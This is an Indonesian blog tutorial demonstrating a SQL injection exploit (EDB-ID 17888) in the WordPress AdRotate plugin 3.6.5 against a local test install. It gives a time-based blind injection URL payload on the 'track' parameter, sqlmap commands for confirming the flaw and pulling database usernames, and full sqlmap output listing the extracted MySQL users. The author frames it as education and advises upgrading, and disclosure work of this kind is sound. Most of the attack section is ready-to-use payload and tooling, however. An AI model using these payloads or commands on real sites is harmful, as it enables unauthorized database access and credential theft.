Exploit WordPress Plugin Adrotate – EDB-ID: 17888 – SQL Injection

Catatan :

Perlahan, blog tanyarezaervani juga akan memuat beberapa Pembuktian Konsep Eksploit dari database Vulnerabiliti yang ada. Tujuannya adalah untuk pembelajaran juga pengetahuan bagi para pengguna awam di internet serta penguat anjuran untuk melakukan upgrade jika ternyata perangkat lunak Open Source yang anda gunakan masih memiliki kerentanan yang ditunjukkan.

Daftar kerentanan sedang coba dikoleksi di : https://tanyarezaervani.wordpress.com/vulnerability-database/

Penyalahgunaan tutorial berada diluar tanggung jawab pengelola blog.

Setiap tutorial selalu disertai dengan saran untuk mengupgrade versi perangkat lunak yang ada.

Keterangan EDB-ID

EBD-ID 17888

Prosedur dan Lingkungan Kerja

Perangkat ujicoba adalah wordpress 3.2.1 dengan plugin AdRotate yang diinstall di localhost

MySQL Version : Ver 14.14 Distrib 5.1.41, for debian-linux-gnu (i486) using readline 6.1

Tampak seperti pada gambar berikut ini :

Plugin AdRotate yang digunakan adalah versi 3.6.5

Satu hal lagi yang memungkinkan SQL Injection dilakukan adalah dimatikannya maqic_quotes

Cek Vulnerabilitas dengan Teknik Time Delay

Selanjutnya kita akan cek vulnerabilitas plugin ini dengan memanfaatkan perangkat SQLMap. Metode yang kita gunakan adalah Time Delay seperti yang dijelaskan di : https://tanyarezaervani.wordpress.com/buku/buku-sql-injection-attacks-and-defense/buku-sql-injection-attacks-and-defense-3-4-menguji-sql-injection-time-delay/

Ketikkan di URL :

http://localhost/wordpress/wp-content/plugins/adrotate/adrotate-out.php?track=1′ AND 1= IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23

Cek Vulnerabilitas dengan Bantuan SQLMap

Atau kita dapat juga melakukan cek vulnerabilitas dengan langsung menggunakan perangkat seperti SQLMap :

$ python sqlmap.py -u “http://localhost/wordpress/wp-content/plugins/adrotate/adrotate-out.php?track=1” –dbms=mysql –level=3 –risk=3 –technique=T –banner

Kita akan dapatkan keluaran seperti berikut :

   sqlmap/0.9 – automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 21:50:41

[21:50:42] [INFO] using ‘/home/rezaervani/Documents/PENTEST TOOLS/sqlmap/output/localhost/session’ as session file
[21:50:42] [INFO] resuming injection data from session file
[21:50:42] [INFO] resuming back-end DBMS ‘mysql 5’ from session file
[21:50:42] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

Place: GET
Parameter: track
    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: track=1′ AND 9786=BENCHMARK(5000000,MD5(CHAR(77,85,109,111))) AND ‘zHCI’=’zHCI

[21:50:43] [INFO] the back-end DBMS is MySQL
[21:50:43] [INFO] fetching banner
[21:50:43] [INFO] read from file ‘/home/rezaervani/Documents/PENTEST TOOLS/sqlmap/output/localhost/session’: 5.1.41-3ubuntu12.10-log
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL 5
banner:    ‘5.1.41-3ubuntu12.10-log’

[21:50:43] [INFO] Fetched data logged to text files under ‘/home/rezaervani/Documents/PENTEST TOOLS/sqlmap/output/localhost’

[*] shutting down at: 21:50:43

Atau ditunjukkan lewat video berikut ini :

Tampak disana banner menunjukkan bahwa SQL Injection berhasil dilakukan dengan teknik Time Delay :

Place: GET
Parameter: track
    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: track=1′ AND 9786=BENCHMARK(5000000,MD5(CHAR(77,85,109,111))) AND ‘zHCI’=’zHCI

menghasilkan exploit Versi MySQL yakni 5.1.41-3ubuntu12.10-log

Exploitasi Kerentanan dengan SQLMap

Setelah memastikan bahwa plugin tersebut vulner, maka kita dapat dengan mudah menggunakan sqlmap untuk mendapatkan username dan password :

Contoh berikut adalah cara bagaimana kita memperoleh username dari kerentanan yang ada :

$ python sqlmap.py -u “http://localhost/wordpress/wp-content/plugins/adrotate/adrotate-out.php?track=1&#8221; –dbms=mysql –level=3 –risk=3 –technique=T –username

Kita akan dapatkan keluaran seperti :

    sqlmap/0.9 – automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 21:54:39

[21:54:39] [INFO] using ‘/home/rezaervani/Documents/PENTEST TOOLS/sqlmap/output/localhost/session’ as session file
[21:54:39] [INFO] resuming injection data from session file
[21:54:39] [INFO] resuming back-end DBMS ‘mysql 5’ from session file
[21:54:39] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

Place: GET
Parameter: track
    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: track=1′ AND 9786=BENCHMARK(5000000,MD5(CHAR(77,85,109,111))) AND ‘zHCI’=’zHCI

[21:54:39] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5
[21:54:39] [INFO] fetching database users
[21:54:39] [INFO] fetching number of database users
[21:54:39] [INFO] read from file ‘/home/rezaervani/Documents/PENTEST TOOLS/sqlmap/output/localhost/session’: 5
[21:54:39] [INFO] read from file ‘/home/rezaervani/Documents/PENTEST TOOLS/sqlmap/output/localhost/session’: ‘root’@’localhost’
[21:54:39] [INFO] read from file ‘/home/rezaervani/Documents/PENTEST TOOLS/sqlmap/output/localhost/session’: ‘root’@’rezaervani-laptop’
[21:54:39] [INFO] read from file ‘/home/rezaervani/Documents/PENTEST TOOLS/sqlmap/output/localhost/session’: ‘root’@’127.0.0.1’
[21:54:39] [INFO] read from file ‘/home/rezaervani/Documents/PENTEST TOOLS/sqlmap/output/localhost/session’: ‘debian-sys-maint’@’localhost’
[21:54:39] [INFO] read from file ‘/home/rezaervani/Documents/PENTEST TOOLS/sqlmap/output/localhost/session’: ‘phpmyadmin’@’localhost’
database management system users [5]:
[*] ‘debian-sys-maint’@’localhost’
[*] ‘phpmyadmin’@’localhost’
[*] ‘root’@’127.0.0.1’
[*] ‘root’@’localhost’
[*] ‘root’@’rezaervani-laptop’

[21:54:39] [INFO] Fetched data logged to text files under ‘/home/rezaervani/Documents/PENTEST TOOLS/sqlmap/output/localhost’

[*] shutting down at: 21:54:39

Atau ditunjukkan oleh video berikut ini

Tampak bahwa username yang berhasil kita exploit dari database adalah :

root@localhost, debian-sys-main@localhost, root@127.0.0.1

Jadi tampak jelas bahwa plugin ini berbahaya untuk sistem anda. Upgrade ke versi terbaru atau non aktifkan dari wordpress anda.

Demikian, semoga manfaat (rezaervani@gmail.com)